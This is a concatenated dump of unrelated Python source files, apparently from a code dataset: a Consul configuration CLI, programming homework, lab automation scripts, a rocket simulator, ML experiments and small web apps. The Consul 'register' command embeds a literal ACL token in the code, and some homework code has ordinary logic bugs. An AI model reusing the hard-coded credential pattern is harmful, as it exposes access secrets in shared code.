kvlist:\n print('%s' % kv[0])\n\n\n@cli.command()\n@click.option('--server', default='localhost', help='Consul server URL')\n@click.option('--env', help='Properties for the given deploy environoment -- for example preprod')\n@click.option('--service', help='Service corresponding to given properties.')\n@click.option('--folder', default='.', help='Directory that contains property files to be uploaded')\n@click.option('--force', is_flag=True, help='Overwrite existant properties in Consul.')\n@click.option('--verbose', is_flag=True, help='Verbose output.')\n@click.option('--parse', is_flag=True, help='parse file and extract properties.')\ndef upload(server, env, service, folder, force, verbose, parse):\n \"\"\" Upload application configuration and properties to Consul KV store \"\"\"\n print('Upload properties for consul server: %s, env: %s, service: %s, folder: %s, force: %s, verbose: %s' \\\n % (server, env, service, folder, force, verbose))\n\n if not env:\n print('Error! Deployment environment required.')\n return\n if not service:\n print('Error! Service name required.')\n return\n\n basekey = '/'.join([env, service])\n\n if verbose:\n LOG.setLevel(logging.INFO)\n\n show_verbose('Base key: %s' % basekey)\n\n kvlist = collect_properties(basekey, folder, parse)\n save_to_consul(kvlist, server)\n\n show_verbose('DONE')\n\n\n@cli.command()\n@click.option('--server', default='localhost', help='Consul server URL')\n@click.option('--env', help='Properties for the given deploy environoment -- for example preprod')\n@click.option('--service', help='Service corresponding to given properties.')\n@click.option('--folder', default='.', help='Directory that contains property files to be uploaded')\n@click.option('--verbose', is_flag=True, help='Verbose output.')\ndef download(server, env, service, folder, verbose):\n \"\"\" Download application configuration and properties from Consul KV store \"\"\"\n\n print('Download properties from consul server: %s, env: %s, service: %s, folder: %s, verbose: %s' \\\n % (server, env, service, folder, verbose))\n\n if not env:\n print('Error! Deployment environment required.')\n return\n if not service:\n print('Error! Service name required.')\n return\n\n if verbose:\n LOG.setLevel(logging.INFO)\n\n basekey = '/'.join([env, service])\n\n show_verbose('Base key: %s' % basekey)\n\n kvlist = retrieve_from_consul(server, basekey)\n save_to_folder(kvlist, folder)\n\n\n@cli.command()\n@click.option('--server', default='localhost', help='Consul server URL')\n@click.option('--cfg', default='service.json', help='Service registritation description.')\n@click.option('--verbose', is_flag=False, help='Verbose output.')\ndef register(server, cfg, verbose):\n \"\"\" Register service with Consul server \"\"\"\n print('Register service with Consul server %s described by %s' % (server, cfg))\n\n fullpath = os.path.abspath(cfg)\n if not os.path.exists(fullpath) or os.path.isdir(fullpath):\n print('Error! Service descriptor file %s not found.' % fullpath)\n return\n\n if verbose:\n LOG.setLevel(logging.INFO)\n\n show_verbose('Start registration process.')\n with open(cfg, 'r') as f:\n description = json.load(f)\n\n print('Service description:')\n print(json.dumps(description))\n\n acltoken = '68510664-460b-8759-25b9-81485394395e'\n client = consul.Consul(host=server, port=80, token=acltoken)\n client.catalog.register(get_node_name(), get_node_ipaddress(), service=description)\n \n\n@cli.command()\n@click.option('--server', default='localhost', help='Consul server URL')\n@click.option('--name', default=None, help='Registered service name.')\n@click.option('--sid', default=None, help='Service ID.')\n@click.option('--verbose', is_flag=False, help='Verbose output.')\ndef remove(server, name, sid, verbose):\n \"\"\" Remove registered service from Consul server\n Args:\n server (str): Consul server name or IP address\n name (str): Service name\n sid (str): Service instance-id\n verbose (bool): Show logs if True\n \"\"\"\n\n print('Remove registered service %s from Consul server %s' % (name, server))\n if not name:\n print('Error! Service name not provided.')\n sys.exit(-1)\n if verbose:\n LOG.setLevel(logging.INFO)\n\n show_verbose('Start deregistering process.')\n client = consul.Consul(host=server, port=80, token=get_consul_token())\n status = client.catalog.deregister(get_node_name(), service_id=name)\n if not status:\n print('Unable to remove service %s from Consul server %s' % (name, server))\n\n\n@cli.command()\n@click.option('--server', default='localhost', help='Consul server URL')\n@click.option('--verbose', is_flag=False, help='Verbose output.')\ndef list(server, verbose):\n \"\"\" List all services registered with Consul server\n Args:\n server (str): Consul server name or IP address\n verbose (bool): Show logs if True\n \"\"\"\n print('List all services registered Consul %s server' % server)\n\n client = consul.Consul(host=server, port=80, token=get_consul_token())\n _, slist = client.catalog.services(consistency='consistent')\n\n print('Services')\n for svc in slist.keys():\n print('+ %s' % svc)\n\n\nif __name__ == '__main__':\n FORMAT = '%(asctime)s; [%(levelname)s] %(name)s: %(message)s'\n logging.basicConfig(level=logging.WARNING, format=FORMAT, stream=sys.stderr)\n LOG = logging.getLogger('consul-upload')\n LOG.info('Start')\n cli()\n","sub_path":"py/microconfig.py","file_name":"microconfig.py","file_ext":"py","file_size_in_byte":11033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"31013570","text":"# Урок 5. Задание 1 (task_1):\n# Пользователь вводит данные о количестве предприятий, их наименования и прибыль за 4 квартала\n# (т.е. 4 числа) для каждого предприятия. Программа должна определить среднюю прибыль\n# (за год для всех предприятий) и отдельно вывести наименования предприятий,\n# чья прибыль выше среднего и ниже среднего.\n\nfrom collections import namedtuple\n\ntotal_avg = 0\ncompanies = {}\nCompany = namedtuple('Company', ['total'])\ncomp_qnt = int(input('Введите количество предприятий: '))\n\nfor i in range(comp_qnt):\n tmp_revenue = 0\n tmp_name = input(f'Введите название для компании {i+1}: ')\n for k in range(1, 5):\n tmp_revenue += int(input(f'Введите прибыль за {k} квартал: '))\n companies[tmp_name] = Company(total=tmp_revenue)\n total_avg += tmp_revenue / comp_qnt\n\nprint(f'\\nСредняя прибыль за год для всех предприятий: {total_avg} руб.\\n')\n\nprint(f'Предприятия с прибылью выше среднего:')\nfor item, value in companies.items():\n if value.total > total_avg:\n print(f'{item} - {value.total} руб.')\n\nprint(f'\\nПредприятия с прибылью ниже среднего:')\nfor item, value in companies.items():\n if value.total < total_avg:\n print(f'{item} - {value.total} руб.')\n","sub_path":"lesson_05/task_1.py","file_name":"task_1.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"245573311","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport rospy\nimport numpy as np\nimport write_char_v1 as write_char\n\n\nclass write_text:\n ########################################\n #INIT\n def __init__(self):\n ARM_ON=True\n GRAPH_ON=True\n\n self.wc=write_char.write_char(ARM_ON,GRAPH_ON)\n self.setup_param()\n self.main_loop()\n\n ########################################\n #パラメータ初期設定\n def setup_param(self):\n self.wc.HeightDown=0.093\n self.wc.FontSize=0.05\n self.wc.Rotate=0\n\n ########################################\n #メイン処理\n def main_loop(self):\n if(1):#横書き\n #浅草\n y=self.wc.y_Bottom+0.09\n x=-self.wc.FontSize\n data = np.load(\"./fontdata/sample1/asa.npy\")\n self.wc.write_char(data,x,y)\n \n x=x+self.wc.FontSize\n data = np.load(\"./fontdata/sample1/kusa.npy\")\n self.wc.write_char(data,x,y)\n if(0):#縦書き\n #浅草\n self.wc.Rotate=3\n y=self.wc.y_Bottom+0.09\n x=+self.wc.FontSize\n data = np.load(\"./fontdata/sample1/asa.npy\")\n self.wc.write_char(data,x,y)\n \n x=x-self.wc.FontSize\n data = np.load(\"./fontdata/sample1/kusa.npy\")\n self.wc.write_char(data,x,y)\n \n key = raw_input('Please enter to finish.')\n exit()\n\n \nif __name__ == '__main__':\n \n try:\n ts = write_text()\n rospy.spin()\n except rospy.ROSInterruptException: pass\n","sub_path":"src/test_arm_asakusa_v2.py","file_name":"test_arm_asakusa_v2.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"571862794","text":"#!/usr/bin/env python3\n\n\"\"\"\\\nDisplay a protocol for digesting the sgRNA out of the pBLO plasmid prior to *in \nvitro* transcription. The purpose of doing this is to help the transcription \nreaction produce uniformly sized products. This protocol makes use of the fact \nthat the sgRNA is surrounded by EcoRI and HindIII restriction sites in pBLO.\n\nUsage:\n digest_pblo_for_t7.py [options]\n\nOptions:\n -d --dna <μL> [default: 4]\n How much DNA to digest. The default is 4 μL, which should be about\n 1 μg with ≈250 ng/μL miniprep yields. You might want to add more if\n you have significantly less than that.\n\n -x --extra [default: 10]\n How much extra master mix to create.\n\"\"\"\n\nimport docopt\nimport dirty_water\nfrom nonstdlib import plural\n\nargs = docopt.docopt(__doc__)\nprotocol = dirty_water.Protocol()\ndigest = dirty_water.Reaction('''\\\nReagent Conc Each Rxn Master Mix\n=============== ========= ======== ==========\nwater 4.8 μL yes\nCutSmart Buffer 10x 1.0 μL yes\nEcoRI-HF 20 U/μL 0.1 μL yes\nHindIII-HF 20 U/μL 0.1 μL yes\nDNA 250 ng/μL 4.0 μL\n''')\n\ndigest.num_reactions = eval(args[''])\ndigest.extra_master_mix = float(args['--extra'])\nextra_dna = eval(args['--dna']) - digest['DNA'].std_volume\ndigest['DNA'].std_volume += extra_dna\ndigest['water'].std_volume -= extra_dna\n\nprotocol += \"\"\"\\\nSetup {:? restriction digest reaction/s} by mixing\nthe following reagents at room temperature in the \norder given.\n\n{}\"\"\".format(\n plural(digest.num_reactions), digest)\n\nprotocol += \"\"\"\\\nIncubate at 37°C for 1h, then at 80°C for 20 min \n(to heat-inactivate the enzymes).\"\"\"\n\nprotocol += \"\"\"\\\nSetup the in vitro transcription {:reaction/s} \nimmediately, or store at -20°C.\"\"\".format(\n plural(digest.num_reactions))\n\nprint(protocol)\n\n# vim: tw=50\n\n","sub_path":"protocols/digest_pblo_for_t7.py","file_name":"digest_pblo_for_t7.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"404503649","text":"from opentrons import protocol_api\n\nmetadata = {'apiLevel': '2.5'}\n\nNUM_SAMPLES = 32\nSAMPLE_VOLUME = 200\n\n\ndef run(protocol: protocol_api.ProtocolContext):\n sou = protocol.load_labware('opentrons_15_tuberack_falcon_15ml_conical', 4)\n dest = protocol.load_labware('nest_96_wellplate_200ul_flat', 1)\n tiprack_1 = protocol.load_labware('opentrons_96_filtertiprack_200ul', 5)\n p300 = protocol.load_instrument('p300_single', 'left', tip_racks=[tiprack_1])\n dests_single = dest.wells()[:NUM_SAMPLES]\n\n p300.transfer(100, sou.wells_by_name () ['A1'], dests_single )\n\n","sub_path":"UTIL Opentrons APP/USO_Fill.station.opentrons_PCR_Plate copy.py","file_name":"USO_Fill.station.opentrons_PCR_Plate copy.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"122134624","text":"from typing import List\nimport unittest\nimport collections\n\nclass Trie:\n \"\"\"\n docstring\n \"\"\"\n def __init__(self) -> None:\n self.root = {}\n self.endWord = \"#\"\n\n def insert(self, word):\n \"\"\"\n docstring\n \"\"\"\n node = self.root\n for char in word:\n node = node.setdefault(char, {})\n\n node[self.endWord] = self.endWord\n\n def search(self, word):\n \"\"\"\n \n \"\"\"\n node = self.root\n for char in word:\n if char not in node:\n return False\n node = node[char]\n\n return self.endWord in node\n\n def startWith(self, prefix):\n \"\"\"\n docstring\n \"\"\"\n node = self.root\n for ch in prefix:\n if ch not in node:\n return False\n node = node[ch]\n return True\n\nclass TestTrie(unittest.TestCase):\n def testTrieSearch(self):\n \"\"\"\n docstring\n \"\"\"\n trie = Trie()\n trie.insert(\"Trieee\")\n self.assertEqual(trie.search(\"Triee\"), False)\n\n def testTrieStartWith(self):\n \"\"\"\n docstring\n \"\"\"\n trie = Trie()\n trie.insert(\"Trieee\")\n self.assertEqual(trie.startWith(\"Tri\"), True)\n\nclass DisjointSet:\n \"\"\"\n \n \"\"\"\n def __init__(self, capacity) -> None:\n self.array = [ i for i in range(capacity) ]\n\n def union(self, i, j):\n \"\"\"\n docstring\n \"\"\"\n \n p1 = self.parent(i)\n p2 = self.parent(j)\n\n self.array[p1] = p2\n\n def parent(self, i):\n \"\"\"\n docstring\n \"\"\"\n root = i\n while self.array[root] != root:\n root = self.array[root]\n\n while self.array[i] != i:\n x = i\n i = self.array[i]\n self.array[x] = root\n\n return root\n \n def connected(self, i, j):\n \"\"\"\n docstring\n \"\"\"\n p1 = self.parent(i)\n p2 = self.parent(j)\n return p1 == p2\n\nclass TestDisjointSet(unittest.TestCase):\n def testUnion(self):\n \"\"\"\n \n \"\"\"\n disjointSet = DisjointSet(5)\n\n disjointSet.union(2, 3)\n\n self.assertTrue(disjointSet.connected(2, 3))\n\nclass Solution:\n def findCircleNum(self, M: List[List[int]]) -> int:\n\n def find(x):\n parent = x\n while disjointSet[parent] != parent:\n parent = disjointSet[parent]\n\n while disjointSet[x] != x:\n tmp = disjointSet[x]\n disjointSet[x] = parent\n x = tmp\n\n return x\n\n def merge(x1, x2):\n parentX1 = find(x1)\n parentX2 = find(x2)\n\n if parentX1 == parentX2:\n return False\n\n disjointSet[parentX1] = parentX2\n\n return True\n\n disjointSet = [ i for i in range(len(M)) ]\n ans = len(M)\n for i in range(len(M)):\n for j in range(len(M[0])):\n if M[i][j] and merge(i, j):\n ans -= 1\n\n return ans\n \n def solveSudoku(self, board: List[List[str]]) -> None:\n \"\"\"\n Do not return anything, modify board in-place instead.\n \"\"\"\n\n def solve():\n for i in range(len(board)):\n for j in range(len(board[0])):\n if board[i][j] == '.':\n for k in range(1, 9):\n ch = str(k)\n if isValid(i, j, ch):\n board[i][j] = ch\n\n if solve():\n return True\n else:\n board[i][j] = '.'\n return False\n\n return True\n\n def isValid(row, col, ch):\n for i in range(9):\n if board[i][col] != '.' and board[i][col] == ch:\n return False\n if board[row][i] != '.' and board[row][i] == ch:\n return False\n \n if board[3 * (row // 3) + i // 3][3 * (col // 3) + i % 3] != '.' and board[3 * (row // 3) + i // 3][3 * (col // 3) + i % 3] == ch:\n return False\n\n return True\n\n if not board or not board[0]:\n return\n \n solve()\n print(board)\n\n def minMutation(self, start: str, end: str, bank: List[str]) -> int:\n def numberingGene(gene):\n if gene not in geneID:\n nonlocal nodeNums\n geneID[gene] = nodeNums\n nodeNums += 1\n\n def addEdge(gene):\n numberingGene(gene)\n srcNode = geneID[gene]\n\n geneList = list(gene)\n\n for i in range(len(geneList)):\n tmp = geneList[i]\n\n geneList[i] = \"*\"\n\n newGene = \"\".join(geneList)\n numberingGene(newGene)\n\n destNode = geneID[newGene]\n\n edge[srcNode].append(destNode)\n edge[destNode].append(srcNode)\n\n geneList[i] = tmp\n\n geneID = {}\n nodeNums = 0\n edge = collections.defaultdict(list) \n\n for gene in bank:\n addEdge(gene)\n\n addEdge(start)\n\n if end not in bank:\n return -1\n\n # addEdge(end)\n\n dists = [float('inf')] * nodeNums\n startID, endID = geneID[start], geneID[end]\n dists[startID] = 0\n queue = collections.deque([startID])\n\n while queue:\n x = queue.popleft()\n if x == endID:\n return dists[endID] // 2 \n\n for it in edge[x]:\n if dists[it] == float('inf'):\n dists[it] = dists[x] + 1\n queue.append(it)\n\n return -1\n\n def numIslands(self, grid: List[List[str]]) -> int:\n m = len(grid)\n n = 0\n if m > 0:\n n = len(grid[0])\n\n def dfs(grid, r, c):\n grid[r][c] = 0\n\n for x, y in [(r + 1, c), (r - 1, c), (r, c + 1), (r, c - 1)]:\n if 0 <= x < m and 0 <= y < n and grid[x][y] == '1':\n dfs(grid, x, y)\n\n ret = 0\n for i in range(m):\n for j in range(n):\n if grid[i][j] == '1':\n ret += 1\n dfs(grid, i, j);\n\n return ret\n\nclass TestSolution(unittest.TestCase):\n def testSolveSudoku(self):\n \"\"\"\n \n \"\"\"\n sudoku = [[\"5\",\"3\",\".\",\".\",\"7\",\".\",\".\",\".\",\".\"],[\"6\",\".\",\".\",\"1\",\"9\",\"5\",\".\",\".\",\".\"],[\".\",\"9\",\"8\",\".\",\".\",\".\",\".\",\"6\",\".\"],[\"8\",\".\",\".\",\".\",\"6\",\".\",\".\",\".\",\"3\"],[\"4\",\".\",\".\",\"8\",\".\",\"3\",\".\",\".\",\"1\"],[\"7\",\".\",\".\",\".\",\"2\",\".\",\".\",\".\",\"6\"],[\".\",\"6\",\".\",\".\",\".\",\".\",\"2\",\"8\",\".\"],[\".\",\".\",\".\",\"4\",\"1\",\"9\",\".\",\".\",\"5\"],[\".\",\".\",\".\",\".\",\"8\",\".\",\".\",\"7\",\"9\"]]\n\n Solution().solveSudoku(sudoku)\n print(sudoku)\n\nif __name__ == \"__main__\":\n unittest.main()","sub_path":"Week_07/Homework.py","file_name":"Homework.py","file_ext":"py","file_size_in_byte":7022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"256077914","text":"from Injector import Injector\nfrom Tank import Tank\nfrom CombustionChamber import CombustionChamber\nfrom Nozzle import Nozzle\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n#NOTE REGARDING DEBUG VERBOSITY\n# 0 = no debug messages\n# 1 = some debug messages\n# 2 = as many debug messages as possible, report anything that is odd\n\nclass Rocket:\n\n DEBUG_VERBOSITY = 2\n\n def __init__(self):\n # The order of initialisation here reflects the hierarchy we are using\n # For now, all properties are hard-coded, rather than inputs\n self.Tank = Tank()\n self.Injector = Injector()\n self.CombustionChamber = CombustionChamber()\n self.Nozzle = Nozzle()\n self.t = 0\n\n #self.T_tank = 0\n #self.rho_tank_liquid = 0\n self.T_cc = 0\n #self.T_post_comb = 0 #cp = combustion products\n self.P_cc = 0 #cp = combustion products\n\n self.m_dot_ox = 0\n self.m_dot_fuel = 0\n self.m_dot_choke = 0\n\n def simulate(self, dt=0.001, max_timesteps=1e6):\n # Simulate until reach zero oxidiser/fuel mass, not based on final time\n loop_ctr = 0\n thrust_curve = []\n\n self.initiate()\n\n while self.Tank.m_ox > 0 and self.CombustionChamber.inner_radius < self.CombustionChamber.outer_radius \\\n and loop_ctr < max_timesteps:\n\n if self.DEBUG_VERBOSITY > 0:\n print(\"t = \", dt*loop_ctr)\n\n # converge is configured to return -1 in order to end simulation\n tmp = self.converge()\n if tmp == -1:\n break\n self.update(dt)\n\n loop_ctr += 1\n\n thrust_curve.append(self.Nozzle.thrust)\n\n if self.Tank.m_ox < 1e-5:\n print(\"[Rocket.Simulate] Tank has emptied of oxidiser\")\n elif self.CombustionChamber.outer_radius - self.CombustionChamber.inner_radius < 1e-5:\n print(\"[Rocket.Simulate] Fuel grain has burned away\")\n elif loop_ctr > max_timesteps:\n print(\"[Rocket.Simulate: ERROR, minor] Simulator has exceeded max timesteps without emptying\")\n return thrust_curve\n\n def initiate(self):\n # Calculate m_dot_ox when ignition occurs\n # Eventually we could change this to simulate the startup transient\n\n # This assumes combustion is already occurring at steady state and\n # that m_dot_ox is determined by the choke\n self.m_dot_ox = self.Nozzle.get_mass_flow_rate(self.CombustionChamber.pressure, self.CombustionChamber.temperature)\n\n\n #self.T_tank = self.Tank.T_tank\n #self.rho_tank_liquid = self.Tank.rho_liquid\n self.T_cc = self.CombustionChamber.temperature\n #self.T_post_comb = 0\n self.P_cc = 0\n\n\n\n def update(self, dt):\n self.Tank.update(dt, self.m_dot_ox) # change m_ox\n # Tank.update is configured to set rho = -1 in certain cases to end simulation\n if self.Tank.rho_liquid == -1:\n return\n #self.Injector.update(dt) # should do NOTHING\n self.CombustionChamber.update(dt, self.m_dot_fuel) # change m_fuel & r_fuel\n #self.Nozzle.update(dt) # should do NOTHING\n\n def converge(self):\n #The second MAJOR function. After everything that depends EXPLICITLY on time\n # has changed, call this function to \"equilibrate\" the various components. This should\n # be done after every timestep\n epsilon = 1000 # Percent change between steps\n epsilon_min = 1e-3\n converge_ctr = 0\n while epsilon > epsilon_min:\n\n # Does nothing\n self.Tank.converge()\n\n # Determine oxidiser mass flow rate based on the injector model\n self.m_dot_ox = self.Injector.converge(self.Tank.T_tank, self.Tank.rho_liquid, \\\n self.CombustionChamber.temperature, self.CombustionChamber.pressure)\n\n # Determine fuel mass flow rate based on CC model\n self.m_dot_fuel = self.CombustionChamber.converge(self.m_dot_ox, self.m_dot_fuel)\n\n # Determine, based on CC conditions, the choked flow rate\n # We require that this choked rate be equal to the total flow rate\n m_dot_choke = self.Nozzle.converge(self.CombustionChamber.temperature, self.CombustionChamber.pressure)\n\n epsilon = abs(self.m_dot_ox + self.m_dot_fuel - m_dot_choke)\n\n converge_ctr += 1\n if self.DEBUG_VERBOSITY > 1:\n print(\"***DEBUG*** [Rocket.converge] Steps to convergence = \", converge_ctr)\n print(\"***DEBUG*** [Rocket.converge] Convergence epsilon = \", epsilon)\n\nmyRocket = Rocket()\ndt = 0.001\nmax_steps = 1e6\nthrust_curve = myRocket.simulate()\ntimes = np.linspace(0, endpoint=False, num=len(thrust_curve), step=dt )\nplt.plot(times, thrust_curve)\n","sub_path":"Rocket.py","file_name":"Rocket.py","file_ext":"py","file_size_in_byte":4837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"478752572","text":"from HTMLTestRunner import HTMLTestRunner\nimport unittest\nimport time\nfrom config import globalconfig\nfrom public.common import send_mail as cc\n\n#测试报告 所在路径\nreport_path = globalconfig.report_path\n#测试用例 所在路径\nTestCase_path = globalconfig.TestCase_path\n\ndef AutoRun(TestCaseName):\n\n \"\"\"\n 指定测试用例名称\n :param TestCaseName:\n :return:\n \"\"\"\n discover = unittest.defaultTestLoader.discover(TestCase_path,pattern=TestCaseName)\n now = time.strftime(\"%Y-%m-%d %H_%M_%S\")\n fileName = report_path + '\\\\' + now + \"result.html\"\n\n fp = open(fileName,'wb')\n runner = HTMLTestRunner(stream=fp,title= \"测试报告\",description=\"用例执行情况\")\n runner.run(discover)\n fp.close()\n\n new_report = cc.newReport(report_path)\n print(new_report[1])\n cc.sendReportFile(new_report[0])\n\nif __name__ == '__main__':\n AutoRun(\"TC_BingSearch.py\")\n\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"233147269","text":"import gzip\nimport os\n\nimport six.moves.cPickle as pickle\n# import scipy.misc\nfrom scipy.stats import mode\nfrom sklearn.ensemble import RandomForestClassifier\nimport numpy as np\n\ndef load_data(dataset):\n ''' Loads the dataset\n\n :type dataset: string\n :param dataset: the path to the dataset (here MNIST)\n \n copied from http://deeplearning.net/ and revised by hchoi\n '''\n\n # Download the MNIST dataset if it is not present\n data_dir, data_file = os.path.split(dataset)\n if data_dir == \"\" and not os.path.isfile(dataset):\n # Check if dataset is in the data directory.\n new_path = os.path.join(\n os.path.split(__file__)[0],\n dataset\n )\n if os.path.isfile(new_path) or data_file == 'mnist.pkl.gz':\n dataset = new_path\n\n if (not os.path.isfile(dataset)) and data_file == 'mnist.pkl.gz':\n from six.moves import urllib\n origin = (\n 'http://www.iro.umontreal.ca/~lisa/deep/data/mnist/mnist.pkl.gz'\n )\n print('Downloading data from %s' % origin)\n urllib.request.urlretrieve(origin, dataset)\n\n print('... loading data')\n\n # Load the dataset\n with gzip.open(dataset, 'rb') as f:\n try:\n train_set, valid_set, test_set = pickle.load(f, encoding='latin1')\n except:\n train_set, valid_set, test_set = pickle.load(f)\n # train_set, valid_set, test_set format: tuple(input, target)\n # input is a numpy.ndarray of 2 dimensions (a matrix)\n # where each row corresponds to an example. target is a\n # numpy.ndarray of 1 dimension (vector) that has the same length as\n # the number of rows in the input. It should give the target\n # to the example with the same index in the input.\n\n return train_set, valid_set, test_set\n\n\ndef kNN(train_x, train_y, test_x, test_y, k):\n accuracy = 0.0\n\n for i in range(len(test_x)):\n distance = np.linalg.norm(test_x[i] - train_x, axis=1)\n sortDist = np.argsort(distance)\n\n if test_y[i] == mode(train_y[sortDist[:k]])[0][0]:\n accuracy += 1.0 / (len(test_x))\n\n return accuracy\n\n\ndef eigenprojection(train_x,test_x, dim):\n\n cov = np.cov(train_x.T)\n _, eigenvectors = np.linalg.eig(cov)\n eigenvectors = eigenvectors.T[:dim].T\n\n eigen_train = np.dot(train_x, eigenvectors)\n eigen_test = np.dot(test_x, eigenvectors)\n\n return eigen_train, eigen_test\n\n\ndef random_forest(trees, depth, train_x, train_y, test_x, test_y):\n rf = RandomForestClassifier(n_estimators=trees, max_depth=depth).fit(train_x, train_y)\n\n return rf.score(test_x, test_y)\n\n\nif __name__ == '__main__':\n train_set, _, test_set = load_data('mnist.pkl.gz')\n\n #kNN for eigen projected data on 2, 5, and 10 dimensions\n\n print(\"kNN for 2, 5, 10 eigen dimension\")\n\n eigen_dim_list = [None, 2, 5, 10]\n neighbor_list = [1, 5, 10]\n\n for eigen_dim in eigen_dim_list:\n for neighbor in neighbor_list:\n train_x, train_y = train_set\n test_x, test_y = test_set\n\n if eigen_dim is None:\n continue\n else:\n train_x, test_x = eigenprojection(train_x, test_x, eigen_dim)\n\n train_x = train_x[:10000]\n test_x = test_x[:1000]\n train_y = train_y[:10000]\n test_y = test_y[:1000]\n\n print(\"Accuracy of kNN with k={} in {} eigen-dim: {:.4f}\".format(neighbor, eigen_dim, kNN(train_x, train_y, test_x, test_y, neighbor)))\n\n\n #random forest\n\n print(\"Random Forest with different depth and estimators\")\n train_x, train_y = train_set\n test_x, test_y = test_set\n\n train_x = train_x[:10000]\n test_x = test_x[:1000]\n train_y = train_y[:10000]\n test_y = test_y[:1000]\n\n forest_estimators_list = [10, 20, 30, 50, 80, 100, 200]\n forest_depth_list = [None, 10, 20, 30, 50, 100, 200, 500]\n\n for tree in forest_estimators_list:\n for depth in forest_depth_list:\n print(\"Accuracy of Random Forest with tree={} and depth={}: {:.4f}\".format(tree, depth, random_forest(tree, depth, train_x, train_y, test_x, test_y)))\n","sub_path":"HW03/hw3.py","file_name":"hw3.py","file_ext":"py","file_size_in_byte":4115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"111225743","text":"import flask\nfrom flask import request\nfrom inventory.services.handler import inventory_info_handler\nimport logging\n\napp = flask.Flask(__name__)\n\nlogging.basicConfig(filename='services.log', encoding='utf-8', level=logging.DEBUG)\n\n\n@app.route('/getproductdetails', methods=['GET'])\ndef get_product_details():\n logging.info('jkjj')\n response = inventory_info_handler.InventoryHandler().get_product_details()\n logging.info(\"get response: %s\", response)\n return response\n\n\n@app.route('/insertproductdetails', methods=['POST'])\ndef insert_product_details():\n params = request.get_json()\n logging.info(\"inside api\")\n product_name = params['product_name']\n quantity = params['quantity']\n return inventory_info_handler.InventoryHandler().insert_product_details(product_name, quantity)\n\n\n@app.route('/deleteproductdetails', methods=['POST'])\ndef delete_product_details():\n params = request.get_json()\n logging.info(\"inside delete api\")\n productId = params['productId']\n return inventory_info_handler.InventoryHandler().delete_product_details(productId)\n\n\n@app.route('/getlocationdetails', methods=['GET'])\ndef get_location_details():\n logging.info('jkjj')\n response = inventory_info_handler.InventoryHandler().get_location_details()\n logging.info(\"get response: %s\", response)\n return response\n\n\n@app.route('/insertlocationdetails', methods=['POST'])\ndef insert_location_details():\n params = request.get_json()\n logging.info(\"inside api\")\n location_name = params['location_name']\n return inventory_info_handler.InventoryHandler().insert_location_details(location_name)\n\n\n@app.route('/deletelocationdetails', methods=['POST'])\ndef delete_location_details():\n params = request.get_json()\n logging.info(\"inside delete api\")\n locationId = params['locationId']\n return inventory_info_handler.InventoryHandler().delete_location_details(locationId)\n\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\", port=5000)\n","sub_path":"inventory/services/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"38567025","text":"import json\n\n\n# This function reads .json files and loads it via json.load\ndef read_file(filename):\n output_json = []\n try:\n file_handler = open(filename)\n output_json = json.load(file_handler)\n except IOError:\n print(\"File read error! Check if it is in same folder as test file\")\n finally:\n file_handler.close()\n\n return output_json\n\n\n# This function prepares test_data for further usage: gets json from read_file function,\n# performs the substitution of apiKey and invalid_apiKey to test cases and zips cases and expected statuses\ndef get_test_data(filename):\n # reading file\n test_json = read_file(filename)\n # getting apiKey from parsed config.json to replace apiKey in *_cases.json file\n apiKey = get_api_key()\n # constant value to replace invalid_apiKey in *_cases.json file\n invalid_apiKey = '0'\n # getting querystring and expected status list from json\n querystring = test_json[\"querystring\"]\n status_json = test_json[\"status\"]\n # replacing apiKey and invalid_apiKey\n for case in querystring:\n if 'key' not in case:\n continue\n case['key'] = eval(case['key'])\n # zipping two list to make test data parameters list\n test_data = list(zip(querystring, status_json))\n\n return test_data\n\n\n# function gets the parts of API URL from config.json and assembles it to api_url\ndef get_api_url():\n config_json = read_file('config.json')\n api_address = config_json[\"api\"][\"address\"]\n api_endpoint = config_json[\"api\"][\"endpoint\"]\n api_url = f'{api_address}{api_endpoint}'\n\n return api_url\n\n\n# function gets the API key from config.json\ndef get_api_key():\n config_json = read_file('config.json')\n api_key = config_json[\"api\"][\"key\"]\n\n return api_key\n\n\n\n","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"47139719","text":"from django.shortcuts import render, get_object_or_404\nfrom django.http import HttpResponse\n\nfrom .models import Post\n\ndef index(request):\n posts = Post.objects.all()\n\n for p in posts:\n ts = p.text[:286]\n p.text = ts + \"...\"\n\n context = {\n 'posts': posts\n }\n return render(request, 'posts/posts.html', context)\n\ndef post(request, post_id):\n post = get_object_or_404(Post, pk=post_id)\n\n context = {\n 'p': post\n }\n return render(request, 'posts/post.html', context)","sub_path":"compiler-project/post/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"508521792","text":"from __future__ import absolute_import, unicode_literals\n\nfrom functools import update_wrapper\n\nfrom django.contrib.admin import ModelAdmin\nfrom django.contrib.admin.util import unquote\nfrom django.core.exceptions import PermissionDenied\nfrom django.http import Http404\nfrom 